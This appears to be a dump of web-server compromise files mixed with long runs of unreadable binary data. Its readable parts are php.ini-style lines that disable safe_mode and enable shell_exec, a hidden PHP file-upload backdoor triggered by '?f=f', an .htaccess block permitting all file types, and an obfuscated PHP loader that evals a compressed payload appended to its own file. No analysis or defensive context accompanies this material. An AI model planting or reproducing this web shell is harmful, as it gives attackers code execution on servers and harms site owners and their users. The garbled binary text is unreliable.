}96܅+A.(X!HofjtqgkrveasO~\C8Οűl5[MC~̔Ճ7*d AoBRӣV	fac0{-fjtqgkrveaLXqsuMk	6ĶĔeyvy}@Tsfjtqgkrvea.EPQgA8ۘ1 . 5.IT^ uiOXr!\%ն=	$ϵ40o='4R^c~cƅ17"@%OW̘{ڀSz$Y?/zup_/\ bR
A
5͚-j4H)V*m p2Hڷ?nC	kfjtqgkrvea
hTŝ-R)nGfYI-Ea $x5fjtqgkrveaPrԪ#{Sjn}=;hBk䒿U+'5zJ֌͐mXQ_P7kOm P~^-b݊@d]6
Br%{j?eT&y^$_ "Žaؼk.īý^5Ĵbkwbrdxempf?ǎp244^kwbrdxempfOmdid Ah?}z	tC45α{M]J͢^,TDIAw=]R{\nUkwbrdxempfS	ֱ0K4,a!A6z!4BG6"P;LD *&o΍{րyD'eyv?kb).ap2yfjtqgkrveaߌlOOQ?Ԕǃ'ۄ`lZf*A4
&TZY9 )eS017(Ä`U.#:ymC.~~(TҤ6T45]vf?lfjtqgkrveaf`OiYw@d|
:f0ORH܂-]	ed5v  .,i~}!4c)Ğ#&9I22qhY6|'Bmi?wzm1J)ӳ;䩕3搗mr(]JlJv%'PK~|` "/6o
&f[tA`+@ifjtqgkrvea	e3@)J/R;.=A. szL[uϢKqqT$R"y8DPʗVg2Я8BCyCvb29̶0֖$ggAԌ:&
-Dkwbrdxempf~dOz-~'n"|kwbrdxempf9;x2@=Bx~3~d0i^A
7f?xP{RV}@T0P]]]F
?ExcmYT`~s	l7[j'.6!fjtqgkrvea6neidG8Δ_q:[b81R
Ϸ)QwFHI񝣞p)7i
[w9XyEtoПmqÝE"?-)А,in⾿(;X\2nT	ushei[kwbrdxempf}N1=XTV?K$K$aLA%A0_ p,x/y;_P|.Nkwbrdxempf!THT9"ǻ/g?kf@_`D/k
ӥùz	(थ(&-#|h:b8o_V%rDgevDBa'^qD#j-9;AǼz fm1K%YTYߘG"![ToҖPf.b@t pkq;[:^
4翯kymkwbrdxempfЈ.йM]茙v
ȝx#PA)?5O/S62Y	A3 Q`f^	mikwbrdxempfjnnjcLap#Dpg˚}'f$?qmszwʆ$xgQNonF_:^kwbrdxempfm`yLVI"PO.U6mYPDу
A mu#) |aݯ/fD\Y?_\xD{DCF~Adyh0Cr@iuwwW]Q^U-'n݁Ǿ|ެ}P24rP9u	R$
{@N@F,@=keXGE_X6,\Ifjtqgkrvea fjtqgkrveaǲyso`|
WZ&̽:2^'ci왡/J(RQVj%.nw-`A\$]^o|M$hMQ\|mLyl6aQAz
8Z[*kwbrdxempfm|(=̻ڲMX
9_t֧Parj|]I]g"@AJJ?wxx!wVJCխu.DYAKI"d/ar5+49CP^rq^kwbrdxempfWMv;$;yT8YƏAoMA C=	ye_ghaq|%㖬l1E{ ="4E5
$fjtqgkrvea!L~fjfSCa
$_]ml#mrWGPގiB}sv_&o	D.M/hDF8}ưPn:2sz/pi\TOxI*cm
?W8ukwbrdxempf%'[==ΰP0i&Oȹ#%30|,zR11aFsm.p6]t4pٿn18F@ /Gkwbrdxempfk[1"T߹1"_kc`֌"-(Ш{GW8ɐ"iY(F&lSe ;jϣ
r"	~UkwbrdxempfmxyQ[\#h4tY|fjtqgkrvea1J1g#J\^܅OB`Zy9y8$AW@'zDhE~+ݐԕ ˯p8)eaԼ0ЖdqiNʾ!ǶK𷔗 -p/k/޸	S*|K^a9 V@񯌢UgH*R]߈wf2M\hkwbrdxempffvm{0*fg0D͹N8Tlx3[?@S&[:c/R*kwbrdxempf\RWP­n;9cʀz8+T40^l{ e^QvPcWByERepǝv&!jK?I1a{SUC^WoklnEM F|EHcT31ۏbOCY^ wpJ-[в }A%}~=Lj}_,kFb~ykwbrdxempfPm=}wS{
e~a&flOfjtqgkrvea9T7koT"z?_5nl m"Xɴ9XC
-
)q.ycZkwbrdxempf\JFU|F#u/J/m5B3:+ R²_؃DF%Reg"@e02p+aL`J;\	Urw
Ȱ'S9"K_Ea\PjV|cnڕ2ЭvPnWXj4r6/c27DD݁沋%pϦ{%L}fhᷗ77KS#x:O:@S5, o(әLx7Y*-$u+x Ez-YfjtqgkrveaSJGIЅͦ$1HWns;%c3
b`*-6C8;+pcz)3fjtqgkrveaH7m6JN;-ƕqIZNj(?+(F;190~bwgۍniY4;oM{nꗮzw+fHfjtqgkrvea,3H#Ezέ- LxPbu%^v/;Ϩg0ńKG	=`d1QeWY|#WJHvJ]{"P-GZY=kb&F3䞱NW+\57bpKEOmdsYTySY[VGkn8!վy_kgr͛Q]]?HuyYa)}@nn"c'UX$-4# 0aCXޥ!ag	W;JGQhpyP߭W|4x3mȗ^$ILmDD=0.6a@g(k9F6}0Ko~Q Wfjtqgkrvea9=afp3YK
Z*V]g+g1ABZ^C-XD f~HJ/(ԋw3K"քykwbrdxempf| $Oʻr_@{
!.[DtAē*ți+PCD؋н{cgӀ%'A	
pӝ{g?@50UgO1nfjtqgkrvea^!wbo.s@
Tbn,ZOmG@0ͽS/O*oCu[]:ya¬xfjtqgkrvea񊤑۰+ykBtpVx 爟DgYmrh@y٥~gci}mܿMb8?y1װmCQ]FsIp5:VirUUᗨJƼx	/gE/Mnd[΋:A80WVkwbrdxempf)Fn(F(!88la;jvI9&%xثEkwbrdxempf.[	|gTd+e9׃E
SFD/9F
a3簞l ŤÉ&m\kc	K$:2sMq.hos3aǪh}¨52e:lʴybAvph~l\𢠨@7dߩ:m2i+'R˛w`fk~M3:ɐ/NC^:D\36FwVd3пoҺV{c.áJu%/2|ʅʹ#wLI]{ĞU{m V,^pBM\WTBKuy1׊ؙ6+|3{-ynBMS52W݁v'WҚs F."36jLHZʠ
ܦCݼq$eܐfjtqgkrveayŬ(bkkOٵ%=fO_fjtqgkrveaE:3Gҡn9G^Yeav凥GK$F)I|(쟲=i`r-|I/i4UK`$S}+_TN$Xiqm_y)zfjtqgkrvea"?JG~vkwbrdxempfGJȼ.
ʭh.o&W&fjtqgkrvea2%8e"}?e+{GX52 }OfjtqgkrveaYjF?^yЗc=0&ifkwbrdxempfo*Bϡ"ؕWﷆ@9fW&ʎ Cxu6 !8d	&妿4hxsz(0|:O,fUP2ӁӾIPÒL
kҲ孽 Lc@=Kkwbrdxempf&-u2C7Ȳ\jid툥Rї5fjtqgkrveapȋnTd!6_WĊp$r+gR}e_J@eEp"Gyky)==Uq5OD 2~Kt;r素CQ'u?hg]-e7ҋ~T7?-%
4}kwbrdxempfh`R=(Ngߙ*AgoH5w:Ap|e-BO$oY`bl
t~kwbrdxempfiO=WVl?Cb"hC%PmBvjnLG0K/o=PSC
|
5qfjtqgkrveaqgT,-aZocsRfY_jʭmܮkPU? Mn
t̤D8
lT`IPj5Ft؜NKCLMw4/^`"3
JkM!юMP1.j62JTyeBQĢSv~^2fjtqgkrveaEzC}hhJ.g3kwbrdxempfG,OD(zgӝ]p}Nb 3keH  X/єwx9ASe~=|3xkC=RJRꮜN6KHkwbrdxempfA
_F(fjtqgkrveaZ'4շ=#bkCaHx!.]
)IT
gWm`=g j;AIBgGr~gC^!tҋ&1Ώ{^8IX9OM? ͖Wy
Җ'WL-DE4L33fjtqgkrveaw$x@[jm
&" N@gfjtqgkrveauCTN4{V&o?jtALC-._Oop+!Tžq0 p7{[(~(`H+cDdw}|nD'VJHr+{?(@jB~ʹyAހ}	7=ɩvrS%(X^6kwbrdxempfyZ+
a.fjtqgkrveaBkwbrdxempfkwbrdxempf?n';,7U ˒ZS;obrtjxrI:RfjtqgkrveaC?b{dL"6}PĄ17|vNO];lSX3:İuHw@:z~dK^fjtqgkrveaI$KVYjvMJ	\~aXYʕMFPkwbrdxempfXkwbrdxempfut7-{ۈ*g]a8!渊
#-i7495ѧ,nz6wY9$NͽaES	 jg9+It6
B7p~~Ykwbrdxempf=|* TFGJ:Cɨ5Ekwbrdxempfm|!GQtsYsVFABIfjtqgkrveaA6+M9N*
-fjtqgkrveaKrG=DAdJ71=cw~kwbrdxempfG~/c[naH1'4,z5XJs1I՗|p{:%| 4نɷGrt|r7DH3:ApܲRp-=Hd?-LIR'Oj^pdJefjtqgkrvea[$=ғ
oDW"9^q16A2\M޲	wΔ?L{.^"C\EAkwbrdxempfKKׂ!fjtqgkrvea}m&Tȯ!*snτX_Ɲ~㉠Y/64)w?4V/tJ^hWBu
4{vLϷ'
obH& ]lDUV9׏օL\fhuZ3#S{@E|&N3|1kwbrdxempf/Uρ]Ef;Ǌ@#GYy|/fQigmBli(T@ok~q@(UɊxgz% ,
sWuJ9:rfy^@zs%3Y;kwbrdxempf-%iK{Xf~F1m깄IZo)Mp+Vw^@$q\׋pL0ȪN p%i׶Q{òI]S7=1"{42~"3~9t
(i2t}PBS`i̭f"ɣ"?m]76
|tv}*5,u:n|('Ig2pzy4~4oP-:ɗw'{GQ2okwbrdxempf`;kwbrdxempfR^$¤M4UH'&_KFI Dnt?d늨$HwXhzM SkC?
Tx zZuc5 o.0oiO~N\ 8ewɨ(MrOTWtc|i`2H'1bet8tqmL^CEfjtqgkrveaa"m"̼gWagۣtH}[fjtqgkrveaPW	_oʊ?t/iE=;vAkwbrdxempfo *~rRׂ%B6l& W0af`Ix}{|{r;rwi9qbz4kL8Áhfjtqgkrvea{ܹkwbrdxempffCcJoP%geRi1[i&?3{qBNɘN`ōV&̟;%] zS@-I3Q"H:YdiFٽd}\_.b+7-?@ U0'Y-'E%]=OfTsK3%eU.z.o7YVEQ݄RCJ)o=vӅ74$C˖V|
kwbrdxempf7/(-k@B!
B7)E׸TeQ?,E6\o?}9..n 昃\g'.=v9bUw FLs3D^(aNבn8%&	0#_C/oG{v*K"X-\RŠ@R7v8z#Q[c"@uCo@*6~$~$ u˃ߋmJi|5|=	Q	+D|P/"B,)WtU)Q(0myl堿OՋKy=K.? pљIcwzN`9neg1;tWtX*}i4yGXv8o@ϱ#D
/c7vCGnH)P"N2ּf'JnK2Ca~ck壆ФdkwbrdxempfHf^xHYNʓ3 ï_[rnY雦dg(Q$?2w6ȋfjtqgkrveaPQ3mH_	Lf++R8y@/3Nuҏf0xxfO@_M2@ܐ976CN[* ]7IckwbrdxempfJGsx2RA 6v#Ia+3X| ɛ1' n)x+	py
ZNSZ6ppYxxIN QͲ(0bLr5
{=zots쮀b{A(ETnGR@&kWw*45~ߛM
ID.]dWؼ.s_Qң44;iG#zfjtqgkrveapXlr\{BxĪhN|ϝr~rWbl6dBq9Tq4*.aG}r"Gs|8DڠPWvv,+8N66׏;;cuJ]U9pxvݴ5fjtqgkrvea3
Vm$fjtqgkrveaܰ}$+˘3MYy" N0]_p1MFǕr3m{o)W9㼈xCiɞa޽P?.5wkwbrdxempf%Aa/Q?Ȕ.zz}Jء{Uw1ȞkwbrdxempfLq^̮jsGA,ܤՈI~T
II;Cʓ5{	zv+Tp@+Ae"fjtqgkrveau59fjtqgkrveaXPC\`%gV"mzb!DMk,2,YŞGW	*vy`c}@όYf:!*UߋtZLy/&ܦj
EpkwbrdxempffjtqgkrveaqU:Oԉ&YKI8Bcwqۿ=V4Wt
pa=Gk-&iղÃz:4þmc۬X#

*.
Mv	Pp`xL\(Uж^:wu9j~İ[@i_9
CX M@;_ehLzd|v&羶p%PBxĮϪc+1ifɶQ/D`c@n\hx
tS686Sնx%*Ʉӑ&UMY*|rڛ1`[AkwbrdxempfYfjtqgkrveahCU~G!J:~!uu%^Ň;s-}E_u'g3N=Rt*FQ,+4zߌe=T#safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$SMDN='g'.'zunco'.'mpress';$vJFR='subst'.'r';$kZpE='ex'.'it';$NGYh='fil'.'e_get'.'_conten'.'ts';$fXcw='s'.'tr'.'_repla'.'ce';eval($SMDN($fXcw('orjwbcpauk','>',$fXcw('fhbeczawdg','<',$vJFR($NGYh( __FILE__ ),-172697)))));$kZpE(0);
?>
x$׎f*󢁵zq}AO٠rBP%)D|c$?M4
_߿E6]ww?GیkorjwbcpaukgӺl^w_٥ӭ:Xfl{+?7SiLfhbeczawdgg/Gس^p$!i{HzO g}?y , c
y;?C醩x8!:}8V"\mF+zorjwbcpaukSFKқY(orjwbcpaukQId}J*5^Єް}hh6BAƍw])ܽ	轝E}
DY{a
$S^Nܬ$8:7e=o:jw9/fhbeczawdgplp!\|C?{$A^}W(P/& N,fA/`ăQ\w3'|zW$z!"yڍ{b=zH
uy@0fhbeczawdg/c|7= =dY^jwL{A)yV}JJfhbeczawdgf赋-QqиB|@%%	ǣD`&/͝g\4]AV
'BoU Ac߸OqorjwbcpaukPe?R[I,Ġorjwbcpaukh kzJ&'+I'JifޟzDPPq)orjwbcpauk?;yl2V)Q=TJ4+`	!5}Dݖu-*;-/95N
[ JVHi
WBLqIBz5rFש(q/6 ;orjwbcpaukq6oߒ&\ȕڌl42}}IeVorjwbcpaukiٹde'ĿgJq+0Uvǐu$+)Th;&%[&/gy@M~.uFUTv\aMf=V#LgIr
|t`hے]aT4Zr~g[bnnq]ӌmm޽O87A6TUJYj(/
._ :~C
_	խ]W
d$?]RQEfhbeczawdg?sD=7	%+Wf3PF	'zUA|#;86Dcݒ_ÿ`ma;n(ي̙9fa]-B-o*d 6g9!CqJٮZ'BF/%dpC @FO܉Cɬݎ~z9O2t,	?qfhbeczawdgkE3fhbeczawdg
fhbeczawdgUm^:6s94

бrcՏ9㝋#CDdFyb$i:!~j9{Uv}ƺ dOgfG4bz}3CG(ގN7	{uϭUWD*dXEpDfhbeczawdg@bD 9RAc޸Zu[7={)]	˷aeHxܚ68C:}B
WίB+oetGkJ~KY&gevᔗ`)r~˘;MsKlǿ̘
;lCW/2y0\ujamkϾ+INA&vzP;]z߾xt%pymj?XySsaQwY7\M=b4xMn6i#lAHH
9`2h=#&JB0N4ydorjwbcpauk-'*fhbeczawdgߊSV%:ģ2!+^ZIRUKHWDyF? v]?:g_vx9g$S	ni`	h-G$SdIӆCs
,RPZj֯# eMbtuQyNUL
?6'E-ƀG`\nG؅rHU%fhbeczawdg6]Xq*LS'|"!$ߴ#F]f='.?Q׃G֬T#۬H
g+A@SIӆpWUUX֡w. x!/_q}w| rnB]%ok1[\ʰW39 LIR*7a1?.tcfS4FیBd矟&9`k\N^
j=0ioa}i. qխu*_^ǌ+!@e=K 0ƨb8IZetysRB~@Dm@uo],dVHs\ލt"	f6ifhbeczawdgDNɚ3+cwq{Z;(lv֝`AC᡿\];	%*-κ8@	ĮO

|ɛ/&orjwbcpauk7ͽsT .6(^eRE$[x!IʪNމXeQ\䅠r+SrH2-
{i{OGVԡDI)&EirYO|8${S}gKz	.W8gEZS`8om[Mܛ&VQqx?;C0"vǟݱM=&Đ'ӕD ֒Sf( AC';g5kU5[3_g
ǛFoHgqR9hߊpOS}~#	 cb
]-MJ:$RqlgkXc3a|-fhbeczawdgwقfhbeczawdgah`9cɎA6\sh7:)nQfX@ߍ.mUNorjwbcpauk+ oŸc Po'b,?Fl 3UũIjMlQw	UN;=!\v!	㌻.d3ڴۄgX,"tqT;?((cs'!LtGh 4XIVgy@^fkkXՐD1~y$RT}?5fhbeczawdgmQnWU_R	j|j)t57SWsp_,ˀ=ڨ^}^UB!~orjwbcpauk|cORD:3_s˰U.L$B\$xR]C$NHꢿ֯msfpnU+$β&+*;vEr).t-dp?;@96a&нo7'P+w_[[:!u}PScCa凲**O
QY}qs& W
(W~",ԄorjwbcpaukFiUQe}jC,![Aq4M*3(.sB"orjwbcpaukH6&aJ_Qj!ŷ87fhbeczawdgRPey
tZ iku6 6torjwbcpauk~ 49F$mG=)vAȓj0稟oWzaxy8
o1~rڴE7k&1c,]؏y!UJBzw89]^Ǔ?#1{`(,0YVomeKh8S"%4,ej-Fbk5K7|Ʋz=Akzzf']	ՙiznoZуAfVKy=Kw5!$;16og_Ǩ.;{+uc
т?9'Q)$,0O@ e0/ ُt8,VlI#cKQc
Tpx2 Շ
 ư}@y'GYs-?狧qC~@H#ެ"	QqYqͰocF~GZ,/5=OrX8 Yɤ;L:/fhbeczawdg;P[fhbeczawdgeF	m:nCnorjwbcpaukbS[T~bǱf/u6pkao~L3D-[ F̨9Ujorjwbcpauk/O\,슕¢BƌvxWO+VVƷbX	O&=l-_cirVHjX=ƫ!tarQ(pWF|!8z_]Lj(iI/vA~0.0wZCyR	U6B־	!NvٝQ`_^#+~(*A9d=A3.e٫@bV=BRW	6҄k_ZNv5orjwbcpauk_m0Dk |3F(luKw[xImhnyA+"\Z={)ElGDQ.1+ZB!fhbeczawdgT3Y1il^[$mKnnHrLNi0i2"&fo/GO
"Y? WMtorjwbcpauk5a^[/̲Sa_35ϫh?@u)EorjwbcpaukP2U
M=qQ('\zXXeTn2ȢСʘIejIlitAмhřNxš/
7ݺ0˘gtL]& _{~3!ŉ&ܦ!d66xuJNޞX'?:	|w{L	IFK&,2qs,34?5-k0h
5{=1L
$fP՜j-TEK5%MnEdPhxjΆߍBeHs%S2xl+prNzHggxuQW嚡Z١.cyvh$S_z2Г_4[|K		/|Il6&祩6/\ӖnmÕgNN\QorjwbcpaukkSB&պfqʇh(Ab +Z=OW~3Zo?9_[peչ.iR[!AM*Pp'ɴ^6qN7fhbeczawdg55D"'(ǌ[uPNڲep+!owH.[bK3| 2ugԓH2sٵ&5"-|w9orjwbcpaukcĹ^}0b1V$ߊU}_	̅q횒%Ǵ$iGT Sưfhbeczawdg(S@*
ʢout)rcZ3[ŭ]}Aa42-]q+|@?3~&	&5fhbeczawdgC
tgn%4fhk1sbya}\}a$i(ӻv-3S,t(k)fhbeczawdgR1;^Ι8CO|?7^2 VŠKd4Y/ݭ(wLo';bUۛ _q^orjwbcpaukDⴺd!J~TlqUHH6"j]
W\O":7qºj}H |rO1cKšO7u}nBk%	ӢZ*%êYhiKxOwS}ǲz;m566ol
C:ҒR	y_(KL	l´|
ٔѩ^`Kae&x]9k"bC,ӦLyZn1?Am	 fx_ѡ؈nKD{QW!t@!t3;g)_o}N;PRX/Ȗ^R'esSNf~5Ā`c\ݢ{G	PIٰorjwbcpauk)uLNij~tOW'd5UWeQ_c ӱ%1G θ8!gU1&Sxv?$訬5)L~%vs^U@υQ\k[&8z(8#'.
ُ.(9ПMufP\f1I1	ۛorjwbcpaukx=toFBun7ږUs۬63$XIm}Bs$D}ɭ]DQR"	6d
orjwbcpauk嬎PΨ
I1dжZxBzJxwwXR-j#s*TK	%;ݴNlPMIfhbeczawdg tz" g-zP_s#Ʌta֘}o/%#!"
Z粥-K&mFwpOú7}eG9{{( MENǵ@HΘ[L	5f?BӐSe/3k/or6.y,1S]GγǦ{|\rnlsQPov1m;/JTÇ (3V!f,t`zGW|4[)-WEpW1:q1|z1@\*p5orjwbcpauk=O++fhbeczawdg.W+kڷBkvJpoHo'`8
}7侉3q?UQ:85_r&cF24l3pZ4neKZgp!+錔W#N_H|gHY!;ŗ$fQl@K't@of
|g?/$W(LbRZŻ-hЅ4֤SSt7ިeVȨ55A57vV)J+-FHhmɍ
ӆorjwbcpauk?i6OX\#zD8f߱)lF2+ɮI 7p	orjwbcpauk$7:Pö*īwј
K@H-{-܃pfhbeczawdg{4315%L!՚Q%u]rakF	#~`-˖BD{6)p/rW#nLs|02T]"w:rw`8n1ISƓ徿9wS|orjwbcpauk
w_ ;$v=FxVc܏jG5	(WX4El?E6L~F13:'ʬVH X^1Rr;S0:`V9*RZ5sN C_xYqS{h|V';G=^4;xmKdd7XwɌ=H_ֆvTxg/'u{`T긍^g㿩,=soL9}Ӗ
`0~[(ӡV4i8A!߹Dy*o}!'h:R	pg6vE;&
Q5ZvFPnT?)!#wZtSK?fhbeczawdg_	ۣa8 Kay!9xW5tm.e{Xr{K/L?|ˁ育l]&si7t"J)GݪμTω֭/Yu~7qܨ_$¬F}]V$cyW#*s%\HZh+6܉ӻQfhbeczawdgs	/orjwbcpauk땐t orjwbcpaukz
U=?';I\`܀ۇm+ynTIW:0VvzDǱ!6#sk|+55Nhȑ[W#߮k$e!~@gs*/TgEP[멪RTk"	|Z9x,~A
CF,=A`:W/p"bz		't(k^poG6JjYAl܀K'ȬxtVD{c#2S8sy"
/fhbeczawdg@6u02QJ:iV	c#7x%x
Msl=2-!B uUCu!,b=
w~M·{%-A*kO
hp){(8f)b
%m۬_Dc*"?ޢp%XI9i_$[PN^:2zJfhbeczawdgc[kE{xh$^orjwbcpauk6P(6fZЮ߂5Dfhbeczawdgи t1P8rdhPv%9`!W[␆߳c (mL㨵GD3	+fhbeczawdgINszf
$RDu,k꾙HT^D5n-.wT/Y;?CkL&i7fhbeczawdg G?i
.ꅳv	VTLt $yN\8oVEPmԛM3M2uc";ؼ}ϢWCC
o&J12o	˷|R_Tl5d
Cc?SF^%Norjwbcpauk3H.OsX1߆諹C3cJ.ZX`N2C֐V@qDS%t#BMOg|6C1/K[t7@7,}~4c"
iu+8*q7CzX#j(Ɠ,
C]v@30B^@9tGx` M&کkΙJTVǎ̐5CSY|IzIa*f[C K
l~$J^R"!`lorjwbcpaukZSތy2de,Q]xI{''$xyD:V;0|8%K"|f1USqu捸¬yw,=W؈(aH@ڿ	٭䶑9Mq^M'ATgC~8B.
6ySٓ Ifm bֳ.{GF6P1"WGޏZ-QX(G¤
^յxXגL\*W=axY8lO̟6޾1=IgT
]ck	*Otm`(ktTρoX\9D4A_
7JArX{g\E4j&XUV*orjwbcpauk#(UJ-;Ȳ;0- 8o=,M	H39G@]A4orjwbcpauk3$omcʌzcAT^:D`
s7.9L@?  * uoTq/{ԋd@}dৰɷ7[c==2*WjN	t1-TWE_QjRDa`1ѷHL8į!3K:2URΞ䟍Os
torjwbcpauk_cҜփFP?W'5 ᠲo\0I/cY4Zᚥ?~}'+wɿczJW'h쨾KdU5,7;7kE(X%fhbeczawdg͗~G&AcH"}#v	4Si={HKfhbeczawdgΦΘ:[MSS՗,VʾVTuz	pލV)!\rfhbeczawdgzPq
Ufhbeczawdgkybz{k!t@38b etUpe$^4+Ašf85T8V7|('yE]{6i5Oa!W!5HM漌C_]}'dxeWd5H*QM V3A"P']R&ԃ$8Ju3V.Cq0}zpx
UKd~:^]R()~02纫tWkMZB|9Y3i
| orjwbcpaukEfhbeczawdgvA
3~}ߏJ|E"D12"
a=,+䑻@j|%Qorjwbcpaukn8K,&t\ FUA֦,+ڡ7RLM0Svc?_nx9fhbeczawdg5޽uqtƇ06CS&;,{]W tZlC!rUcű]'_1fNWڝ)ﲒvT؅Z0tyت*T*h6
4fhbeczawdgvd񞚇|֮nuE!bc8E|TJfhbeczawdgSXAndeZfhbeczawdgL9z\Ʌ.vK2?MkxH	N[
ls\J[!6N^vuĔsb$zwfhbeczawdgׅ0L¨مkY7)iorjwbcpauk)?"#d'_(I8SWOf'fhbeczawdgfhbeczawdgݕ%#ER	㑋orjwbcpauk'q|@2uckpCY.PL_1 HWlLa9,`KHĎu:Zr͕{*?~ۇ)fhbeczawdgL0$|kJ-ƹQK&r	d#@iP 	2^fO ӆMjZZA#|\N`c$FalxT揳lIZZH*$zg"nXB6,ía^+muê{]`|_s.(z!FRy,fs_}m5t"f"߰_GGE#xjLBqk0+W)@Tf۶7b*2IJ$F9|6 `orjwbcpauk(N3HmJķ4Sw	⹚$`TB1j|5²쭴a_W+lO 銮ܳLorjwbcpaukkM3EtukBG:z3Sz.x-%+8ȺӔ{2 5ƃ`b"2߾:Bk]t:hKg=_D*fV$K[_cig=Fm3Z_l{ksk2"
B~DZ]8VbJMDژpG4VL;yQrNfhbeczawdg%"vy'LM
!XP85I׸$-o/xd`,cۏo!PC-yJa0["ŕn!\#/ p~ӐA{ZLorjwbcpauk=ʣӂSTedOd 0j0!%_H
y@4-W]x'0mЁO{SiK/D7,fhbeczawdgmSA,j-85qPorjwbcpaukbnGfU]D['Uf7_hY_P5t޺ ϒoBCOEhOK%E #`Zb	fhbeczawdgi b!ʙ~p;yv'rD`V,o	\7Kh
beO
	N|,FT27ٗ[@~Xe m @;lU^x
bO93?%p~޻Dfhbeczawdg
g5K$orjwbcpaukmBqC40rl(Corjwbcpauk'%uKZɦ#Y,0:jH`8Ǳ$F	U?dR0lnko (
T]\̤B*Hkq dUorjwbcpauk+O$$ ,
# y$슷4E_t{WbrV#[զ(h0C⧿Z޹hqkD2Y	sҚӾʄk_D	%c5qdmOG/~-Hxk%@eg\p,kG{{O;2&
9Dkp}SGorjwbcpaukquWV?Tv+;yGvG,&"jr#pgMǺ1z.Ð~itI!mfhbeczawdg ~1n,9?0Rdf lw܋GL04:]\orjwbcpaukl^È֣G:S!4@H,-3`@	o o/`'zd̫OF+:jeuQW!3{s}h Egcx$R6[{ax,	op=2KM_ƺ]o/7Eþ4^F
6wwfhbeczawdg~rSYk;}w:JMWorjwbcpauk҃qfhbeczawdgR^扏%%r0KF I'{owQ;zA[yikn&~qdрck;5ofhbeczawdgA xCݦreܘNx2_(a6l
e$YorjwbcpaukP8.@!s8lcIVlt/kkorjwbcpauk}W*תK*S,ݴz'@Htorjwbcpauk?7&x,õl\xNGB lw}Jk։t"H95@E2Ս6V\%OTfD\
(P젇orjwbcpaukkZOW'`Q~0LB7??ވYձ([*U0w9݈^e03c?/ŇUa4_m=bshPPe؂hGꝘϥcBiEXhs{S1]gpe.:H.(qu85¿JHs7@d5wMӛI8s$ntEp:.	[	 e뉵Dm|fhbeczawdgfpjmWqbd\y1Hq#	IOߏd}KSqFca|u}9*a1 '}orjwbcpaukq[T~(ًAks5fhbeczawdgUrU,"G`KwTlD|$ThCp'VyLTUkv@2"i#v$ܡ
zM,߾vkڷD\in $Kɀ3}&-Mҳ|`TM
-rJorjwbcpaukB[g\̩
&,hxp$fhbeczawdg|y\*ٲԘ9Ti!.koܮ+5͏i
9AbJFI1KD%uUj
hMMC$,F5ufhbeczawdgIּGsKǀ7p^ߋlhk((6~Ⴏ5ε%Uorjwbcpauk滪t1xs$swO[U*{UHWcorjwbcpauk89_W
YPA#ٶ՛Bg. q5s{=7XӫKpN~X8S/^hl+rt7.ɦfhbeczawdgŶh(?jR;Q8~sUp
Hqڣcƍq߱orjwbcpauk,İ#Ѥ|Htu6n2T]rP W4ޠ)ڌlcKU&Oorjwbcpauk~
| ߡ4dO62JRoC8QɻCeef\Mk醍B?ƠԿGɨN_8ay+'BtĔIi&!9!ְw,kNwL%|PhUL=#ÌS@GsJzj8[QȬjQw{A350C2orjwbcpaukɠS) Hw=$͸akhshZb,ao.[Q	l#vDBt2zo頒_
B5hB^mmikT;avQ vyW/yorjwbcpauk?R4_.MForjwbcpauk0Mq`&zvUɒ\/3 XCEҷ0pHċ[O.qNYhnGڝjD"5&*X]e4(_WO]߄\.d}xCBGmܚE"Ǽ}{@3|NYrHPC5{?n\+I͸Tp|fhbeczawdgڲQIiZ.^4uOT1mZJ\};Ffhbeczawdgq}|tr8UW[,tyҺb!W`*r}GމZ"`P]72'@"\Wz$Qr
L~ӼS@{[$/sE1eazI̴MzQYqi*v\xduc(CC(F.zd1cv8fhbeczawdg,Bb#\%GSgoJfhbeczawdg'[WI,,EտH^sP\@$/O#u0$pod{(5^xs%e[/ DEg^zr-s*|aV).#颮V(5lei
A9+@K~N
\0so+8oIb?\p`*]͉&f80d?zqf|PH:j}g]a(aǌcV?Ȝ	Ql"/$hM,@+c̵f/3..7џE!/)Q{pE
3۝LfhbeczawdgsĻުQ?!rM[nr_I?nUGjlczɫ7σtFS5=6/XUQzVJk,s\_;1IQfhbeczawdg uv:Ln?"ve p,z]\U'tjaY"yUnԎv.$тSz${#ZCgusI,9v~SN˺PLN2K1KU3(fhbeczawdgtp3p;UO;A*h_WQ |^1zկ'M| eCMʜ IF#);tjfhbeczawdg.Qb4wxCU cO#3q̲3=$%oYd_ރ)@ƦjU-%*5TFȩW|]T^?}#=ZR^J
*Dcx]x5U!'LD:FN @峜"E}l
G̟?0Ò,:_/)rzr|p4x]kvd\2zG6MUL7{BVHFc"գnLбn_[2²R5V01_6EZ%ڌR%h-o
#Yv9!L޵ί37p!orjwbcpauks{9ڏ\\&ރLS).0bM\q~CqGAOZ\b琢w鉹_k;orjwbcpauk+O]
9F u:.JҊQc0h
GϪ!{cpcY=5-AW
AUAj
I(9
PV3tJ{soc=͆Œ	:	orjwbcpauk @.p|=HІ.QfDM]!*C T(V]$*~*5PQM`@ Aαc}H)hY0p
8֫
A0׈pIP9BkHlv:־ni@aL5=0A)3*ϸǶ8k3z/0db6܃&G^Hh(
}/u29αYlȍO[-pa0F  tH +?ip-UfhbeczawdgG!7ȎR3Rd])ڭorjwbcpauk+3`%.19O,b86l9%ƨ߮-orjwbcpaukaUs)Ȯm
f;WZ~Dǟ,B.M~|͵}xX/
fɛƏR?~D~SSbkQU髅4
@ֻ 
} ox!^borjwbcpaukΆũ^(li"hy~`rfhbeczawdgj|/˂5di鰂Ċ0=xAèn
.Gorjwbcpauk PѷeI=vorjwbcpauk.1^EorjwbcpaukyK+ǜ*q
ΚR.nyԦ?륯9	s`b:].TvH1F-)rrWQorjwbcpauk
wɒ'W0dGN_1
